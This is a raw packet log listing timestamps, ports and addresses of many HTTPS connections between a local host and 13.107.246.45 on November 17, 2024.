Nov 17, 2024 12:35:30.837929010 CET	443	49819	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:30.838048935 CET	49819	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:30.838690996 CET	49819	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:30.838723898 CET	443	49819	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:30.839292049 CET	49820	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:30.839306116 CET	443	49820	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:30.839442015 CET	49820	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:30.839696884 CET	49820	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:30.839710951 CET	443	49820	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:30.840471029 CET	49821	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:30.840539932 CET	443	49821	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:30.840626955 CET	49821	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:30.840758085 CET	49821	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:30.840790033 CET	443	49821	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:30.841177940 CET	49822	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:30.841186047 CET	443	49822	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:30.841268063 CET	49822	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:30.841375113 CET	49823	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:30.841397047 CET	443	49823	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:30.841451883 CET	49823	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:30.841878891 CET	49822	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:30.841892004 CET	443	49822	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:30.841974020 CET	49823	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:30.841999054 CET	443	49823	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:31.690563917 CET	443	49820	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:31.692831039 CET	49820	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:31.692862988 CET	443	49820	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:31.693398952 CET	443	49819	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:31.693434000 CET	443	49823	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:31.693537951 CET	49820	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:31.693545103 CET	443	49820	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:31.694252968 CET	49819	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:31.694276094 CET	443	49819	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:31.695132017 CET	49819	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:31.695135117 CET	49823	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:31.695142031 CET	443	49819	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:31.695173979 CET	443	49823	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:31.695605040 CET	49823	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:31.695614100 CET	443	49823	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:31.696331978 CET	443	49821	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:31.696660042 CET	49821	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:31.696667910 CET	443	49821	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:31.697043896 CET	49821	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:31.697048903 CET	443	49821	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:31.818087101 CET	443	49820	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:31.818176985 CET	443	49820	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:31.818228960 CET	49820	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:31.818377018 CET	49820	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:31.818397045 CET	443	49820	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:31.818409920 CET	49820	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:31.818417072 CET	443	49820	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:31.821090937 CET	49824	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:31.821126938 CET	443	49824	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:31.821204901 CET	49824	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:31.821388006 CET	49824	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:31.821400881 CET	443	49824	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:31.822149038 CET	443	49819	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:31.822182894 CET	443	49819	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:31.822227955 CET	49819	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:31.822228909 CET	443	49819	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:31.822303057 CET	49819	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:31.822424889 CET	49819	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:31.822441101 CET	443	49819	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:31.822453976 CET	49819	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:31.822459936 CET	443	49819	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:31.824549913 CET	49825	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:31.824584007 CET	443	49825	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:31.824656963 CET	49825	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:31.824800014 CET	49825	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:31.824812889 CET	443	49825	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:31.825447083 CET	443	49821	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:31.825519085 CET	443	49821	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:31.825576067 CET	49821	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:31.825622082 CET	49821	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:31.825664043 CET	443	49821	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:31.825696945 CET	49821	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:31.825712919 CET	443	49821	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:31.828295946 CET	49826	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:31.828309059 CET	443	49826	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:31.828373909 CET	49826	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:31.828551054 CET	49826	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:31.828563929 CET	443	49826	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:31.831418991 CET	443	49823	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:31.831491947 CET	443	49823	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:31.831573963 CET	49823	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:31.831594944 CET	443	49823	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:31.831664085 CET	443	49823	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:31.831718922 CET	49823	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:31.831985950 CET	49823	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:31.831986904 CET	49823	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:31.832003117 CET	443	49823	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:31.832024097 CET	443	49823	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:31.834178925 CET	49827	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:31.834211111 CET	443	49827	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:31.834268093 CET	49827	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:31.834424019 CET	49827	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:31.834438086 CET	443	49827	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:31.898104906 CET	443	49822	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:31.898649931 CET	49822	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:31.898678064 CET	443	49822	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:31.899353981 CET	49822	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:31.899360895 CET	443	49822	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:32.029366016 CET	443	49822	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:32.029525995 CET	443	49822	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:32.029911995 CET	49822	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:32.133790016 CET	49822	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:32.133820057 CET	443	49822	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:32.133836031 CET	49822	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:32.133843899 CET	443	49822	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:32.391161919 CET	49828	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:32.391208887 CET	443	49828	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:32.391288042 CET	49828	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:32.505999088 CET	49828	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:32.506027937 CET	443	49828	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:32.555735111 CET	443	49825	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:32.559354067 CET	443	49826	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:32.563385963 CET	443	49824	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:32.581787109 CET	443	49827	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:32.595861912 CET	49825	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:32.606321096 CET	49826	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:32.606321096 CET	49824	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:32.627734900 CET	49827	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:32.627773046 CET	443	49827	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:32.628185987 CET	49827	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:32.628195047 CET	443	49827	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:32.628396988 CET	49825	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:32.628401995 CET	443	49825	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:32.628762007 CET	49825	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:32.628767014 CET	443	49825	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:32.629110098 CET	49826	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:32.629122972 CET	443	49826	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:32.629931927 CET	49826	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:32.629937887 CET	443	49826	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:32.631232023 CET	49824	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:32.631238937 CET	443	49824	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:32.631911039 CET	49824	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:32.631917000 CET	443	49824	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:32.756613970 CET	443	49826	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:32.756680012 CET	443	49826	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:32.756679058 CET	443	49827	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:32.756758928 CET	443	49827	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:32.756805897 CET	443	49827	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:32.756830931 CET	49827	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:32.756861925 CET	49827	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:32.757002115 CET	49826	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:32.760694027 CET	443	49824	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:32.760775089 CET	443	49824	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:32.761362076 CET	49824	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:32.768821955 CET	443	49825	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:32.768985033 CET	443	49825	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:32.769042969 CET	49825	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:32.772116899 CET	49826	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:32.772116899 CET	49826	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:32.772144079 CET	443	49826	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:32.772155046 CET	443	49826	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:32.773315907 CET	49825	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:32.773339033 CET	443	49825	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:32.773355961 CET	49825	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:32.773363113 CET	443	49825	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:32.794984102 CET	49827	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:32.795002937 CET	443	49827	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:32.796881914 CET	49824	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:32.796881914 CET	49824	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:32.796907902 CET	443	49824	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:32.796920061 CET	443	49824	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:32.800834894 CET	49834	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:32.800873041 CET	443	49834	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:32.800959110 CET	49834	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:32.801312923 CET	49835	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:32.801358938 CET	443	49835	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:32.801417112 CET	49835	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:32.802330017 CET	49836	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:32.802364111 CET	443	49836	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:32.802414894 CET	49836	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:32.802514076 CET	49834	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:32.802534103 CET	443	49834	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:32.802617073 CET	49837	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:32.802644014 CET	443	49837	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:32.802773952 CET	49837	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:32.802866936 CET	49835	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:32.802881002 CET	443	49835	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:32.802995920 CET	49837	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:32.803008080 CET	443	49837	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:32.803155899 CET	49836	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:32.803164959 CET	443	49836	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:33.221898079 CET	443	49828	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:33.277051926 CET	49828	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:33.387624025 CET	49828	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:33.387634039 CET	443	49828	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:33.388194084 CET	49828	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:33.388200045 CET	443	49828	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:33.511265993 CET	443	49828	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:33.511374950 CET	443	49828	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:33.511512041 CET	49828	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:33.514628887 CET	49828	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:33.514628887 CET	49828	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:33.514646053 CET	443	49828	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:33.514656067 CET	443	49828	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:33.523195982 CET	49840	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:33.523299932 CET	443	49840	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:33.523399115 CET	49840	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:33.523564100 CET	49840	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:33.523596048 CET	443	49840	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:33.532691956 CET	443	49837	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:33.533128977 CET	49837	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:33.533174038 CET	443	49837	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:33.533592939 CET	49837	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:33.533601046 CET	443	49837	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:33.533870935 CET	443	49836	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:33.534195900 CET	49836	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:33.534219980 CET	443	49836	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:33.534589052 CET	49836	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:33.534593105 CET	443	49836	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:33.536060095 CET	443	49835	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:33.536542892 CET	49835	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:33.536585093 CET	443	49835	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:33.536797047 CET	49835	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:33.536803961 CET	443	49835	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:33.542294025 CET	443	49834	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:33.542650938 CET	49834	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:33.542686939 CET	443	49834	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:33.543165922 CET	49834	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:33.543174028 CET	443	49834	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:33.660638094 CET	443	49837	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:33.660792112 CET	443	49837	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:33.660856009 CET	49837	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:33.661273956 CET	49837	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:33.661326885 CET	443	49837	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:33.661364079 CET	49837	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:33.661401033 CET	443	49837	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:33.662195921 CET	443	49836	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:33.662266016 CET	443	49836	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:33.662322998 CET	49836	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:33.662564993 CET	49836	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:33.662581921 CET	443	49836	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:33.662595034 CET	49836	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:33.662600040 CET	443	49836	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:33.665003061 CET	49841	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:33.665061951 CET	443	49841	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:33.665124893 CET	49841	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:33.665317059 CET	49842	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:33.665409088 CET	443	49842	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:33.665478945 CET	49841	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:33.665498018 CET	443	49841	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:33.665529013 CET	49842	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:33.665653944 CET	49842	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:33.665678978 CET	443	49842	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:33.665923119 CET	443	49835	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:33.666085958 CET	443	49835	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:33.666136980 CET	49835	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:33.666186094 CET	49835	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:33.666210890 CET	443	49835	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:33.666237116 CET	49835	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:33.666249990 CET	443	49835	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:33.668275118 CET	49843	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:33.668298006 CET	443	49843	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:33.668369055 CET	49843	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:33.668500900 CET	49843	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:33.668550014 CET	443	49843	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:33.673103094 CET	443	49834	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:33.673137903 CET	443	49834	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:33.673182011 CET	49834	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:33.673191071 CET	443	49834	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:33.673235893 CET	49834	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:33.673294067 CET	49834	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:33.673294067 CET	49834	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:33.673315048 CET	443	49834	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:33.673333883 CET	443	49834	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:33.675627947 CET	49844	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:33.675671101 CET	443	49844	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:33.675736904 CET	49844	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:33.675875902 CET	49844	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:33.675899982 CET	443	49844	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:34.467331886 CET	443	49840	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:34.471968889 CET	443	49844	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:34.474088907 CET	443	49843	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:34.477541924 CET	443	49841	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:34.477564096 CET	443	49842	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:34.480504990 CET	49842	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:34.480542898 CET	443	49842	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:34.481056929 CET	49842	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:34.481064081 CET	443	49842	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:34.481349945 CET	49841	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:34.481379986 CET	443	49841	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:34.481782913 CET	49841	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:34.481791973 CET	443	49841	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:34.482100964 CET	49840	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:34.482117891 CET	443	49840	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:34.482486010 CET	49840	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:34.482491970 CET	443	49840	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:34.482745886 CET	49844	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:34.482784986 CET	443	49844	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:34.483203888 CET	49844	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:34.483216047 CET	443	49844	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:34.483498096 CET	49843	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:34.483511925 CET	443	49843	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:34.483861923 CET	49843	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:34.483865976 CET	443	49843	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:34.606025934 CET	443	49842	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:34.606379986 CET	443	49842	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:34.606457949 CET	49842	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:34.606494904 CET	49842	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:34.606503963 CET	443	49842	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:34.606518984 CET	49842	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:34.606528044 CET	443	49842	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:34.606548071 CET	443	49841	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:34.606626034 CET	443	49841	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:34.606672049 CET	49841	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:34.607244015 CET	443	49844	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:34.608088017 CET	443	49844	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:34.608135939 CET	443	49844	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:34.608167887 CET	49844	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:34.608207941 CET	49844	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:34.608247042 CET	49841	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:34.608258963 CET	443	49841	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:34.608295918 CET	49841	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:34.608303070 CET	443	49841	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:34.609365940 CET	443	49840	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:34.609400988 CET	443	49840	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:34.609428883 CET	49844	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:34.609438896 CET	443	49844	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:34.609451056 CET	443	49840	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:34.609457970 CET	49840	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:34.609458923 CET	49844	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:34.609464884 CET	443	49844	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:34.609508038 CET	49840	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:34.609940052 CET	443	49843	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:34.610013962 CET	443	49843	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:34.610177994 CET	49843	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:34.613086939 CET	49843	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:34.613086939 CET	49843	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:34.613101959 CET	443	49843	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:34.613114119 CET	443	49843	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:34.614685059 CET	49840	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:34.614694118 CET	443	49840	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:34.614706993 CET	49840	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:34.614712954 CET	443	49840	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:34.617692947 CET	49846	443	192.168.2.6	13.107.246.45
Nov 17, 2024 12:35:34.617721081 CET	443	49846	13.107.246.45	192.168.2.6
Nov 17, 2024 12:35:34.617799044 CET	49846	443	192.168.2.6	13.107.246.45
